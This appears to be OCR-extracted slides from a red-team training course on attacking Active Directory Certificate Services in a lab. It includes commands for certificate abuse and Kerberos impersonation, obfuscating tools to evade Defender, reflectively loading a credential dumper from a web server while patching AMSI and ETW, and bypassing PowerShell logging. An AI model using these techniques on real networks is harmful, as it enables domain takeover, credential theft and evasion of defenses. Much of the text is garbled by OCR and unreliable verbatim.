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Goal

A The goal of this course is to understand Active Directory Certificate Services (AD C¢
and execute attacks against a typical Enterprise AD CS setup.

A This course assumes basic knowledge of Active Directory security, red team and/or
penetration testing. If you are new to Active Directory security, you may like to enrol
into our courses like the CRTP/CRTE before continuing this course.

A This course introduces a feature of AD CS, discusses its abuses and then there is 3
Learning Obijective that can be used practice the attacks in a lab environment.
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How to use the course content

A You have access to the slides, slides notes, lab manualthwvaligh videos, Kill
Chain diagram, Attack path diagrams, Lab Diagram and Tools used in the course
OneDirive.

A Access the OneDrive using the lab poctaltps://adcs.enterprisesecurity.io/

A Keeping an eye on the Lab diagram and attack path diagrams will help if you feel
lost.

Artaz YFI1S &adaNB (2 NBFSN (2 {irkStoblagd, A RS
toolsetc.
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Word of Caution

A In scope:
T Only the explicitly specified gorem and Azure resources and users are in scope.
T Everything else iNOTin scope.

A Any abuse of the lab internet or resourceattempts of unauthorized access or
attacks on external infrastructurewill result in immediate disqualification from the
course without refund.

A Please treat the lab network as a dangerous environment and take care of yourself.
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Philosophy of the course

A We will emulate an adversary who has a foothold machine in the target
environment.

A This is an Assume Breach scenario.

A Like our other classes,emwill not use any exploit in the class but will depend on
abuse of functionality anéeatures whichare rarely patched.

A We will not use any exploitation framework in the class.
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Module 1:Introduction to AD CS




Introduction to AD CS

Aa! OGAPS 5ANBOG2NE / SNIATFTAOFGS { SNIBBAOS
managing Public Key Infrastructure (PKI) certificates used in secure communicatior
FYR Fdzi KSYGAOFdA2y LINRP(G2O02f a dé

A The issued certificates can be used to encrypt emails, signing documents, performi
certificate-based authentication of a user/computer/device account and much more,

A PKI authentication is an alternative to standard password authentication. It employg
asymmetric encryption using digital signatures and certificates for encryption and
authentication.

AlteredSecurity AD CS Attacks © Altered Security All rights reserved 11

Microsoft docs for AD CS introduction: https://learn.microsoft.comiesiwindows
server/identity/ad-cs/activedirectory-certificate-servicesoverview



Introduction to AD C& Components

A Certification Authority (CA)Issues and manages certificates using Certificate
Templates. AD CS CAs can be implementedramtCAsnd SubCA¢Requires AD
CS role to be installed).

A Certificate TemplateDefines settings for a certificate. Contains information ike
enrolment permissions, EKUs, expiry etc.

A Certificate Enrollment Web Service (CE2rmits Windows users, computers
andapplications to enroll and renew certificates using the HTarB®col through
WebEnrollment endpoints.
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Introduction to AD C& Components

A Certificate Enrollment Policy Web Servidenables users to obtain certificate
enrollment policy information.

A CA Web EnrolimentProvides a method to issue and renew certificates in
scenariosvhere users use devices that are not joined to the domain or are running
operatingsystems other than Windows.

A Network Device Enrollment Service (NDE®/th this component, routers,

switches, and other offline network devices can obtain certificates from AD CS (Ex:
Microsoft Intune).
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Introduction to AD CE& Certificate Formats

A X.509 digital certificates are primarily used by AD CS.

A Some commonly used X.509 certificédemats used by AD CS are:

I PEM:A Base64ncoded DER certificate commonly usedpasn, .crt, .cer, or
.key extensions to store multiple private keys and certificates without password
protection.

1 DERbinary form of a PEM certificate.

T PFEX/P12RKCS#1)2binary form used to store multiple private keys and
certificates with password protection.

i PTBPKCS#7dzAa SR (2 &adA02NB YdzZ GALX S OKIAY
key).
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Introduction to AD CE& Certificate Formats

PEM PKCS#7 PEM PKCS#12

1) 1 ! !
.pem P7b .der pfx
crt -p7s Cer P12
.Ca-bundle
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Introduction to AD C8& Certificate Attributes

Some interesting certificate attributes are:

A Subject- The entity to which the certificate is issued.

A Issuer- The entity who issued the certificate. Usually, the CA.

A Subject Alternative Name (SANAIternate names that a Subject may
use.

A Validity Period Duration of validity including start and end dates.

A Extended Key Usage (EKWDefines the purpose for which the
certificate can be used.
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Introduction to AD C8& Certificate EKUs and OIDs

A EKU stands for Enhanced Key Usage that specifies the purpose for which a certific
can be used. It is an extension in X.509 certificate.

A OID stands for Object Identifier. It is a unique identifier that is used to identify and
classify various objects and concepts in a standardized way and with hierarchy.

A EKU and correspondir@IDs are used to indicate the purpose or usage of a
certificate. For example, the OID 1.3.6.1.5.5.7.3.2 corresponds to the Client
Authentication EKU.

A Itis possible to create custom EKUs and corresponding OIDs based on an
organization's specific requirements.
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Introduction to AD C8& Certificate EKUs and OIDs

A Some commonly used EKU OIDs and their corresponding use cases are as follows

Server Authentication (1.3.6.1.5.5.7.3.lijtended for server authentication, allowing the
certificate to be used for authenticating servers in SSL/TLS communication.

Client Authentication (1.3.6.1.5.5.7.3.2%llows the certificate to be used for verifying the
identity of clients accessing secure services.

Code Signing (1.3.6.1.5.5.7.3.8sed for signing executable code, scripts, and macros. It verifies
the integrity and authenticity of software or code by ensuring that it hasn't been tampered with
since it was signed.

Secure Email (1.3.6.1.5.5.7.3.4ised for digitally signing and encrypting email messages,
ensuring the confidentiality and integrity of email communications.

Encrypting File System (1.3.6.1.4.1.311.10.3allpws for the encryption and decryption of files
and folders on NTFS volumes.

AlteredSecurity AD CS Attacks © Altered Security All rights reserved 18

Commonly used EKU OID referenaéps://www.pkisolutions.com/objectidentifiers
oid-in-pki/



https://www.pkisolutions.com/object-identifiers-oid-in-pki/
https://www.pkisolutions.com/object-identifiers-oid-in-pki/

Introduction to AD C8& Certificate Signing Request

CSR

1) The Client begins by crafting a 2) The Client then 3) The CA determines if the
Certificate Signing Request (CSR) sends this CSR to the client has permissions to request
along with other CA. a certificate from the specified
parameters. template.

5) The Client receives the signed —
certificate and can now use it e | TR—
for its defined purpose. ! l
4) If validated, the CA generates
a certificate based on the requested
Certificate Template & signs it using

its CA private key.
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At dzot A0 YSe {SNBAOS&A O2y il AySNJ dzy RSNJ Y
CS related containers.

A Some of the interesting containers are:
;
,
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Introduction to AD C& Containers in AD

Certificate TemplatesStores certificate templates used by Enterprise CAs.

Certification AuthoritiesStores trusted root certificates. All certificates from this container are
LINR LI 3 GSR G2 SIOK OfASyidiQa ¢NMzGSR w22i [ §
EnrollmentServices Stores Enterprise CA objects. Used by clients to locate Enterprise CAs. All
OSNIATAOFGSa FTNBY GKAa O2ydlF Ay SNI I N LINELJ 3
Authorities through Group Policy.

NTAuthCertificates Stores certificates for CAs that can issue smart card logon certificates and
perform client private key archival. A smart card logon fails if there is no entry for issuer here.

Reference: https://www.pkisolutions.com/understanduagtive-directory-certificate-
servicescontainersin-active-directory/
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AD CS Attacks and Defense

A Like any enterprise service, AD CS is prone to misconfigurations.

AcKSaS YAaO02yFTAIdzNF GA2ya OFy oS
attacks against an enterprise environment.

A AD CS is usually not as well understood and therefore, not as well
protected as AD DS!
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Enumeration

AlteredSecurity

AD CS AttacksKill Chain

Theft and
Collection Persistence

Local Privilege

93
e?
Escalation uon®!

Cloud Persistence
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AD CS AttacksEnumeration

Offensive Technique ID  Description

Enumeration

Enumerate if AD CS is present in the target environment, available
templates and misconfigurations.




AD CS AttacksLocal Privilege Escalation

Offensive Technique ID  Description

CertPotato Abusevirtual and network service accounfauthenticates as machine
account in domainjo escalate privileges to locaystem
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AD CS AttacksTheft and Collection

Offensive Technique ID  Description

THEFT1 9ELIRZNIAYI OSNIAFTAOIGSA yR (GKSA
THEFT2 ExtractingUsercertificates and private keys using DPAPI
THEFT3 ExtractingComputercertificates and private keys using DPAPI
THEFT4 Theft of existing certificategn-disk
THEFT5 Using the Kerberos PKINIT protocol to retrieveser/Computet O O 2 dzy (i
NTLM hash
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AD CS AttacksLocal Persistence

Offensive Technique 1D Description

PERSIST1 User account persistence using new certificate requests

PERSIST2 Computer account persistence using new certificate requests

PERSIST3 User/Computer Account persistence by certificate renewal before
expiration
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AD CS AttacksDomain Privilege Escalation

Offensive Technique ID Description

ESC1 Enrollee can request cert for ANY
user(CT_FLAG_ENROLLEE_SUPPLIES_SUB@#RCT +
Authentication/Smart Card Logon EKU)

ESC2 Enrollee camequestcert for
ANYuser(CT_FLAG_ENROLLEE_SUPPLIES_SuBd@ERlirpose EKU
or no EKU)

ESC3 Requestan enrollment agent certificate (Application Polid@ertificate

Request Agent) and use it to request a cert on behalf of ANY user
(Certificate Request Agent EKU)

)
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AD CS AttacksDomain Privilege Escalation

ESC4 Vulnerable ACL&€nericWritg over AD CS Certificate Templates

ESC5 Poor Access ContrdBénericWrit¢ on CA Server Computer Object

ESC¢fixed) Vulnerable EDITF_ATTRIBUTESUBJECTALTNAME2 setting on CA all
requesting certs for ANY user

ESC7 Vulnerable Certificate Authority Access Control Rdlésn@geCA
andManageCertificate

ESC7 Case 1 Approve failed certificate requests for ANY user using ESC7
misconfiguration

ESC7 Case 2 Abuse CRL (Certificate Revocation List) Distribution Padtsise them
with ManageCAights to deploywebshellso CA servers

AlteredSecurity
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(fixed)- Fixed by CBA Patch
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ESC7 Case Https://www.tarlogic.com/blog/adcsesc#attack/

ESC7 Case 2ips://www.tarlogic.com/blog/adcsmanagecace/



https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://www.tarlogic.com/blog/ad-cs-esc7-attack/
https://www.tarlogic.com/blog/ad-cs-manageca-rce/

AD CS AttacksDomain Privilege Escalation

Offensive Technique ID Description
ESC8 NTLM Relay ANY domain computer to AD CS HTTP Endpoints
ESC9 (fixed) If CT_FLAG_NO_SECURITY_EXTENSION ((0s8500%) a specific

template theszOID_NTDS_CA_SECURITY_EXT
security extension will not be embedded.

ESC10 Case 1 (fixed) Weak Certificate MappingsStrongCertificateBindingEnforcemest to 0
in registry

ESC10 Case 2 (fixed) Weak Certificate MappingsCertificateMappingMethodset to 4 in registry

ESC11 NTLM Relay ANY domain computeAld C3CertPassagRemote Protocol

(ICPR) RPC Endpoints

Certifried CVE2022,26923 | Updatingthe dNSHostNameroperty of a controller computer account to
(fixed) impersonate ANY target computer account
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ESCR& https://specterops.io/wpcontent/uploads/sites/3/2022/06/Certified Pre
Owned.pdf

ESC9, ESC10 Casel and Cdg&g://research.ifcr.dk/certipy4-0-escSescl10
bloodhoundguirnew-authenticationrandrequestmethodsandmore-7237d88061f7
ESC1ihttps://blog.compasssecurity.com/2022/11/relayindo-ad-certificate-
servicesover-rpc/

Certifried https://research.ifcr.dk/certifriedactive-directory-domainprivilege
escalationcve-2022-269239e098fe298f4
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https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
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AD CS AttacksDomain Persistence

Offensive Technique ID  Description

DPERSIST1

Forge ANY domain certificate using stolen CA Root certificatprarate
keys

DPERSIST2

Forge ANY domain certificate using stolen external Trusted Root certif
and private keygadded root/intermediateNTAuthCAcertificates
container)

DPERSIST3

Backdoor CA server usintalicious misconfigurations like ES84t can
later cause a domain escalation

AlteredSecurity
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AD CS AttacksCloud Privilege Escalation and Persistenc

Offensive Technique ID  Description

Trust abuse Enterprise | A compromised Certificate Authority trusted by an Azure AD tenant

CA and Azure AD enables forging certificates and impersonate any user in the target
CertificateBased tenant.
Authentication

This results in privilege escalation to the tenant if the user has
administrative roles assigned in the tenant and persistence as long
iKS OSNIATAOFIGS R28ayQi SELANE




AD CS AttaclksPrevention

Defensive Technique ID  Description

PREVENT1 Treat CAs aSritical TielD Assets

PREVENT?2 Harden CA settingand configuration

PREVENT3 Audit Published templatefor misconfigurations

PREVENT4 Harden Certificate Template Settings

PREVENT5 Audit NTAuthCAcertificatesontainerfor External insecure Trusted Root
certificates and private keys

PREVENTG6 Secure Certificate Private Key Storage

PREVENT7 Enforce Strict User Mapping€BA Patch in Full Enforcemémbde)

PREVENTS8 Harden AD CS HTa/Rd ICPEnroliment Endpoints
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AD CS AttacksDetection

Defensive Technique ID  Description

DETECT1 Monitor UsefMachine Certificate Enrollments
DETECT2 Monitor Certificate Authentication Events
DETECT3 Monitor Certificate AuthorityBackup Events
DETECT4 Monitor Certificate Template Modifications
DETECTS5 Detecting Reading of DPAPhcrypted Keys
DETECT6 Detecting usef Honey Credentials

DETECT7 MiscellaneoudDetectiveTechniques

DETECT1, DETE@MRTECTRETECTAETECTRETECTG6, DETECTY:
https://specterops.io/wpcontent/uploads/sites/3/2022/06/Certified Pr®wned.pdf
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Basics of AD CS Attack$ools

A We use builin tools whenever possible.

A We also use slightly modified versions of ofgeuirce tools (to bypass
Windows Defender).

A We will mainly use the following two tools:
T Certify:https://github.com/GhostPack/Certify
T Certipy https://github.com/ly4k/Certipy

A All tools required for the lab are included in the abcs Tools  directory
on the foothold machine.
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Basics of AD CS Attack$ools

A Some notable tools:

certi ¢ impacketcopy of Certify to abuse AD CS.

ADCSKilleg automated discovery and exploitation of AD CS abuses.

PKINIToolg repo contains some utilities for playing with PKINIT and certificates.

PoshADC; proof of concept on attack vectors against Active Directory by abusing AD CS.
ForgeCert forge certificates for any user using compromised CA certificate and private keys.
pyForgeCert Python equivalent oForgeCert

modifyCertTemplate; Python equivalent with more manual granular controFafrgeCert
CarbonCopy, creates a spoofed certificate of any online website and signs an Executable for AV
Evasion.

KrbRelayUp a universal neix local privilege escalation in windows domain environments where
LDAP signing is not enforced (the default settings).
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Certt https://github.com/zer1tO/certi

ADCSKillehttps://github.com/grimlockx/ADCSKiller
PKINIToolshttps://github.com/dirkjanm/PKINITtools
PoshADCShttps://github.com/cfalta/PoshAD CS
ForgeCerthttps://github.com/GhostPack/ForgeCert
PyForgeCertittps://github.com/Ridter/pyForgeCert
ModifyCertTemplatehttps://github.com/fortalice/modifyCertTemplate
CarbonCopyhttps://github.com/paranocidninja/CarbonCopy
KrbRelayUpnttps://github.com/DecOne/KrbRelayUp
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Basics of AD CS Attack&V Bypass

A Evasion is not a primary focus for this course; however, we use basic OPSEC
measures to bypass default defense mechanisms such as Windows Defender, AMS
and Enhanced PowerShell Logging.

A Oncb-wsx an exclusion has been added in Defender for the fol@aADCS

A We have already obfuscated some tools needed fodisk execution and have
placed them in theCA\ ADCS&Tools ObfuscatedTooldolder oncb-wsx.

A We will use tools likénvisibilityCloakor source code obfuscation, perform minimal
obfuscation and/or binary obfuscation usi@gpnfuserEx
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InvisibilityCloalGithub: https://github.com/h4wkst3r/InvisibilityCloak

ConfuserEsithuby https://github.com/yck1509/ConfuserEx

Manual obfuscationdattps://s3cur3thlsshilt.github.io/BypassMSiby-manuat
modification-part-11/



https://github.com/h4wkst3r/InvisibilityCloak
https://github.com/yck1509/ConfuserEx
https://s3cur3th1ssh1t.github.io/Bypass-AMSI-by-manual-modification-part-II/
https://s3cur3th1ssh1t.github.io/Bypass-AMSI-by-manual-modification-part-II/

Basics of AD CS Attack&V Bypass

A Signature based detection for tools ligmarpDPARINd CertifyKit can bypass
Defender with minimal string manipulation or source code.

A InvisibilityCloaks a tool that can obfuscate the source code of a C# tool by
reimplementing the source in an encoded (base64, rot13 or reverse) format to brea
most static source codbased detections (be careful afin parsing).

A Some tools such as Certify, RubdungiShelland Mimikatzwhich are commonly
used require further binary obfuscation techniques to bypass Defender. We use
ConfuserEsor that.

AlteredSecurity AD CS Attacks © Altered Security All rights reserved 39




Basics of AD CS Attack&V Bypass
InvisibilityCloak

A An example command to obfuscate the source code and bypass static Defender

signatures foiSharpDPARIsingInvisibilityCloaks as follows:

C\> python3 GADCSTools ObfuscatedTooldnvisibilityCloakmain\ InvisibilityCloak.pyd
CA\ADCSTo0l3 ObfuscatedToolSharpDPARDt13-n SharpDPARbt13-m rotl3

[*] INFO: String obfuscation method: rot13

[*] INFO: Directory of C# project: C# projeckADCSToold ObfuscatedToolSharpDPARDt13
harpDPAtL3

[*] INFO: Generating new GUID for C# project

[*] INFO: New project GUID is 41c4e4iB2-4dc098753521ee861613

[....sni

[+] SUCCESS: Your new tool SharpBDie#l now has the invisibility cloak applied.

A Compile the obfuscated version using Visual Studio.
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Basics of AD CS Attack&V Bypass
InvisibilityCloak

A UseThreatChecko test the obfuscated version &harpDPAPI

C\> CYADCSTool8 ObfuscatedToold hreatChecKT hreatCheck.exd
CA\ADCSTo0I3 ObfuscatedToolSharpDPARDt13\ SharpDPAPI
rot13\bin\ReleasESharpDPAPI.exe

[+] No threat found!
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Basics of AD CS Attack8V BypassThreatCheck

A Before obfuscation analysing Certify usiffyeatCheckve find a static detection:

CA\ADCBSTools> GADCSToold Obfuscated Toold hreatCheckT hreatCheck.exd¢ CA\ADCSToold Certify.exe
[+] Target file size: 176640 bytes

[+] Analyzing...

['] Identified end of bad bytes at offset 0x246D2

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090
000000A0
000000B0O
000000CO
000000D0
000000EQ
000000FO0

AlteredSecurity

00 65 00 20 00 20 00 20 00 20 00 20 00 20 00 20 -e-

00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20

00 20 00 3A 00 20 00 00 3D 5B 00 2A 00 5D 00 20 -

00 53 00 75 00 62 00 6A 00 65 00 63 00 74 08-Rh:j

00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20

00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20

00 3A 00 20 00 00 3D 5B 00 2A 00 5D 00 20 00 41 -

00 6C 00 74 00 4E 00 61 00 6D 00 65 00 20 00-Rea:

00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20

00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 3A - -

00 20 00 00 3D 5B 00 2A 00 5D 00 20 00 53 00 69 - S[:

00 64 00 45 00 78 00 74 00 65 00 6E 00 73 D EXt-€

00 6F 00 6E 00 20 00 20 00 20 00 20 00 20 @O0 -

00 20 00 20 00 20 00 20 00 20 00 20 00 3A 00 20 :
0000 17 50 00 52 00 49 0056 00 41 0054 0045 ---P-R:I-V-A-T-E
00 42 00 4C 00 4F 00 42 00 00 07 53 00 41 00 4E -B:L-O-B::-S:A-N
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ThreatCheckithub: https://github.com/rastamouse/ThreatCheck



https://github.com/rasta-mouse/ThreatCheck

Basics of AD CS Attack8V BypassConfuserkx

A Obfuscate Certify using
ConfuserEx as follows:

T Under the Project Tab: Select
the base directory (location of
the binary to be obfuscated)
and the output directory
(directory for obfuscated
output).
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Basics of AD CS Attack8V BypassConfuserkx

A Next, under the Settings tale
Select Certify.exe under
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Basics of AD CS Attack8V BypassConfuserkx

A Then click on the Edit Rules option and in the Preset drop down select
Normal and click Done.
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Basics of AD CS Attack8V BypassConfuserkx

A Finally, under the Protect! Tab: e
Click Protect! to generate the
obfuscated binary in the
previously selected output
directory.
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Basics of AD CS Attack$ool Evasion and
Obfuscation ThreatCheck

A After compiling the tool using Visual Studio addnfuserExinary obfuscation, we
can check for detections usifigireatCheclas follows:

C\ADCSTools> GADCSToold ObfuscatedTool§ hreatCheckr hreatCheck.exd
CA\ADCBSToo0l3 ObfuscatedToolCertify.exe

[+] No threat found!
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Basics of AD CS AttackBayload Delivery

A .NET Loaders are useful to avoid detections like AMSI and ETW by patching them
and reflectively loading a binary from a webserver or file path.

A We usean obfuscated version detLoadertto deliver our binary payloads on some
targets.NetLoadercan be used to reflectively load binaries frorfil@path or URL as
follows:

C\UsersPublidLoader.exepath

http://172.16.100. /BetterSafetyKatz.exe

A While performing executioretLoadempatches AMSI & ETW within the current
process to bypass AV and ETW based telemetry solutions.
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NetLoadeiGithub: https://github.com/Flangvik/NetLoader




Basics of AD CS AttackBypass PowerShell
Logging

A To bypass any PowerShell Logging mechanisms enabled we can use InviShell. Thi
tool hooks the .NET assemblies (System.Management.Automation.dll and
System.Core.dll) to bypass logging.

A It uses a CLR Profiler API to perform the hook.

A "A common language runtime (CLR) profiler is a dynamic link library (DLL) that
consists of functions that receive messages from, and send messages to, the CLR
using the profiling API. The profiler DLL is loaded by the CLR at run time."

A NOTE: We use an obfuscated version of this tool located in the
CMADCSTool4 ObfuscatedTool$older.
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https://github.com/OmerYa/Invisi
Shell/blob/master/InvisiShellProfier/InvisiShellProfiler.cpp
https://docs.microsoft.com/enus/dotnet/framework/unmanagesd
api/profiling/profiling-overview



Basics of AD CS AttackBypass PowerShell
Logging

UselnviShelwhenever using PowerShell as follows:

A Wwith admin privileges:

C\ADCSTools> GADCSTools ObfuscatedToold$nviSheNRunWithPathAsAdmin.ba

A With non admin privileges (current):

CA\ADCSETools> GADCSToold ObfuscatedTooldnviSheNRunWithRegistryNonAdmin.bat

A Quit session and cleaup:

CA\ADCSTools> exit
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Basics of AD CS Attackainrs

A To accessompromised machines, we can use PowerShell Remoting (as Port 5985
may be allowed between hosts.)

A PowerShell Remoting supports systevide transcripts and script block logging.

A To evade this, we usginrsin the lab:

CAADCSTools>winrs-r:cb-ws -u:certbulk studentadminwhoami

A Note thatwinrsrequires administrative privileges on the target.

A We can also use winrm.vbs or COM objectéV&Man
(https://github.com/bohops/WSMaANINRN).
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https://learn.microsoft.com/erus/windowsserver/administration/windows
commands/winrs



https://github.com/bohops/WSMan-WinRM
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs

Basics of AD CS AttackSertificate Management

A With appropriate privileges, it is possible tequest | import | export the user or
machine certificates from a machine. There are several ways waatamplish this
interactively (Windows Certificate Manager) or us@iypto WINAPIs.

A Torequest | import | exportusingCrypto WINAPIs we can use tools such as Certify
and CertUtil

# Request Certificate pemformat
certify.exe requestcda:chca.cb.corpCBCA template:User

# Import Certificate into User Certificate Store
certutil qusergimportpfx C\certs\ studentadmin.pfx

# Export Certificate from User Certificate Store using Certificate Serial
certutil -user-exportpfx5500000019b448b6ebb68c9b0900000000001\& &2 ts\ studentadmin.pfx
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Basics of AD CS AbugsEertificate Management

A Torequest | import | exportcertificateinteractively we can use thé/indows
Certificate Manager or MMC.

A Request a Certificate usiMjindows Certificate Manager as follows:

Certifcate Envolment
Request Certificates

Yo can request the following types of cetificates. Selact the cenificates
click Envoll,

Active Directory Enrolment Policy

1) STATUS: Available
vali

Detaits
ity period that apply to this type of certificate:
e
Valicity period (days}: 365
Bropert
[ Show af temy
s
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Basics of AD CS AbugsEertificate Management

A Import a Certificate with Windows Certificate Manager using either of the 2
showcased methods.

W cortmor - [Cenfficates - Curment UserPersonafCertficates]

Fde Action View Help c 2N # ThisPC » Local Disk (C:) » certs »
- ojaz @ ~
W Ceificates - Current User Issued To Isswed By Expiration Date Name Date modified
- vt Thre s Quick access
Tusted oot Cerication (3 student.pf 4.
Enterprise Trust Al Tk > Request New Cerbficate. [ Desktop
Certification A = Knport escd-smartq Install PFX
- A:«n Object . : T R ; Downloads [7 escd-smartq eey
Untausted Certificates o
Third-Party Root Certficatior Amrgaloans > g Documents || eschpem | |2 Share
Trusted People ine up lcens .
et Asbenicsiontosers e =] Pictures esc3-Enrelll— Open with..
Certficate Envallment Reque. o
S o Dot ) [B escenoll  Restore previous vers
art Cord Tusted Rects I This PC previous versions
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Basics of AD CS AbugsEertificate Management

A Export a Certificate interactively using Windows Certificate Manager as follows:
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Basics of AD CS Abuskassthe-Cert

A Passthe-Cert (PTC) is a pauthentication technique that uses a certificate (with
private key) to obtain a TGT (Certificdtased Authentication).

A This technique is primarily used for User/Computer account impersonation for
domain authentication similar t®@verPasgshe-Hash and Paghe-Ticket techniques.

A To perform PTC operations, it is required that the certificate usesthe Client
Authentication EKU set.

A PTC can be used with PKIKIB Schannel protocols.
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PassTheCefbithub: hitps://github.com/AlmondOffSec/PassTheCert

Blog showcasinBassTheCert
Exploitation:https://offsec.almond.consulting/authenticatirwith-certificateswhen
pkinit-is-not-supported.html

PassTheCedommands in

detail: https://github.com/AlmondOffSec/PassTheCert/tree/main/C%23



https://github.com/AlmondOffSec/PassTheCert
https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
https://github.com/AlmondOffSec/PassTheCert/tree/main/C%23

Basics of AD CS AbusEeTC using@KINIT

A Public Key Cryptography for Initial Authentication (PKINIT) is-aythentication
protocol for Kerberos which uses X.509 certificates to request a TGT.

A With a certificate valid for authentication (Client Authentication EKU set), it is possib
to request a TGT using tiRKINITprotocol. We will be using this technique for
user/computer impersonation for majority of the lab.

Rubeus.exasktgt/user:<username in certificate> /certificate:<certificate hame> /password:<certif

password> /domain:<domain name> /dc:<domain D@whrap!/ ptt
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PKINIF https://learn.microsoft.com/enus/openspecs/windows_protocols/ms
pkca/d0cfl7633541-4008a75fa577fa5e8c5b




Basics of AD CS AbuisBTC usingchannel

A 1f PKINIT is not supported by the DC, LDAPS can be abusedtlteRass
usingthe PassTheCetbol.

A LDAPS suppoBchanneBecurity Service Provider that implements SSL and TLS
authentication protocols.

A We can use th®assTheCetbol for authentication as follows:
PassTheCert.exeserverch-dc.certbulk.cb.corp-cert-path Cicerts studentadmin.pfx-cert-password

"PasswOrd!--whoami

A If we manage to gain a privileged user context in the domain, then we can primarilyj
use thePassTheCetbol to configure and abusBBCD/Reset PasswotdZSynand
more in Active Directory.
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Schannet https://learn.microsoft.com/enus/windowsserver/security/tls/tlssst
schannelsspoverview



Basics of AD CS AbusgnPAQGhe Hash

A In this technique, if we have a PKINIT TGT (certificate keypair) for a user, we can recover t
NTLM hashes of the target user.

A Similar to Shadow Credentials but unlike that, does not reqB@aericWriteon an object.

A When a certificate is used to request a TGT using PKINIT, the KDC includes
PAC_CREDENTIAL_INtR@ture in the ticket. The structure contains NTLM hashes of the
authenticating user.

A These NTLM hashes can be recovered by requesting a service ticket througb-User
authentication J2U) so that the user can decrypt the service ticket.

A S4au2self (Service ticket to itself on behalf of a user) can then be used to impersonate any
user including a DA.
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https://www.thehacker.recipes/ad/movement/kerberos/unpate-hash




Basics of AD CS AbusgnPAQGhe Hash

A An example command to perform thénPAGhe Hash (Note thegetcredentials
option):
Rubeus.exasktgt/getcredentialg user:studentadmiricertificate: C\ certs studentadmin. pfx

/password:PasswOrddomain:certbulk.cb.corgshow

A An example command to perform tiénPAGhe Hash attackising Certipy is as
follows:

certipyauth -pfx/mnt/c/certs/studentadmirunprotected.pfx
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Basics of AD CS AbusgnPAQGhe Hash

USER AS-REQ N
[ using PKINIT Pre-authentication

AS-REP
includes TGT and Session Key

§ TGT has PAC_CREDENTIAL_INFO (encrypted using krbtgt)
and cannot be decrypted yet

TGS-REP (USER TO USER )

< RE—
Request for a Service Ticket

TGS - REP
includes Service Ticket response

— —

] Service Ticket contains PAC_CREDENTIAL_INFO
e H (encrypted using Session Key) and can now be decrypted

1. Decrypt Service Ticket with Session Key
2.Extract PAC

3. Extract PAC_CREDENTIAL_INFO

4 Extract NT and LM hashes.
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Diagram Referencduttps://www.thehacker.recipes/ad/movement/kerberos/unpac
the-hash



https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

Basics of AD AbugeS4U2Self Attack

A "S4U2Self (Service for User to Self) is an extension that allows a service to obtain §
service ticket (TGS) on behalf of a user to itself.”

A By default, machine accounts cannot access machines remotely. To gain remote
admin access we can abuse the S4U2Self attaDiC@yn¢if applicable).

A Using target user or machine account credentials, we can use S4U2Self to get a T(
for a service (Ex: CIFS, HOST, HTTP) impersonating any user including a DA. An
example is as follows:

Rubeus.exe s4u /selimpersonateuser:administratoialtservice:cifich-webappl.certbulk.cb.corg

/dc:cbdc.certbulk.cb.corpuser:'cb-webappl$' /rc4:B2FCBA1C3570AB9418994799B9BCH8S

AlteredSecurity AD CS Attacks © Altered Security All rights reserved 62

S4U2Self Microsoft dockttps://learn.microsoft.com/en
us/openspecs/windows protocols/msfu/4a624fb5a0784d30-8adl-
e9ab71e0bc47#qt 2214804m4446f4-b6d2-a78f4ff39a39
S4u2selfhttps://shenaniganslabs.io/2019/01/28/Waqgifthe-Dog.html
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https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

Module 4:AD CS Patches




AD CS PatcheCBA patch

A We have configured and attested this lab to work with tagst April 11, 2023 OS
Build Stack updates along with theti-PetitPotam(disabledcoercion over WebDAV)
and Spool Sample Microsoft Patch{ézed Windows Print Spooler vulnerability)

A We also included th®ut-Of-BandCertificatebased Authentication (CBA) patch with
the StrongCertificateBindingEnforcemeawrgistry key in Full Enforcement mode = 2.

A Primarily this patch introduced iKB5014754nakes the AD G3A insert
a szOID_NTDS_CA_ SECURITYSIEXKtension valughich contains the SID of the
requesting user in all certificatequests.The domain controller can use this to
compare the SID of the authenticating user (or the SID specified in the SAN) again:
the SID contained in thezOID_NTDS_ CA_SECURITYSIBEXktension.
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Windows Server 2022 Update Histoytps://support.microsoft.com/en
gb/topic/windowsserver2022-update-history-e1caa597/00c54ab99f3e-
8212fe80b2ee

Certificatebasedauthentication patch Microsoft
docs:https://support.microsoft.com/enus/topic/kb5014754certificate-based
authenticationchangeson-windowsdomaincontrollersad2c23b015d84340-a468
4d4f3b188f16

KB5014754 Microsoft dockttps://support.microsoft.com/enus/topic/kb5014754
certificate-basedauthenticationchangeson-windowsdomaincontrollersad2c23b0
15d84340a4684d4f3b188f16

szOID_NTDS_CA_SECURIT¥tiExtlre Microsoft
Docs:https://learn.microsoft.com/erus/openspecs/windows _protocols/ms
wcce/e563cff8laf6-4e6+a6557571cad82e71



https://support.microsoft.com/en-gb/topic/windows-server-2022-update-history-e1caa597-00c5-4ab9-9f3e-8212fe80b2ee
https://support.microsoft.com/en-gb/topic/windows-server-2022-update-history-e1caa597-00c5-4ab9-9f3e-8212fe80b2ee
https://support.microsoft.com/en-gb/topic/windows-server-2022-update-history-e1caa597-00c5-4ab9-9f3e-8212fe80b2ee
https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
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https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
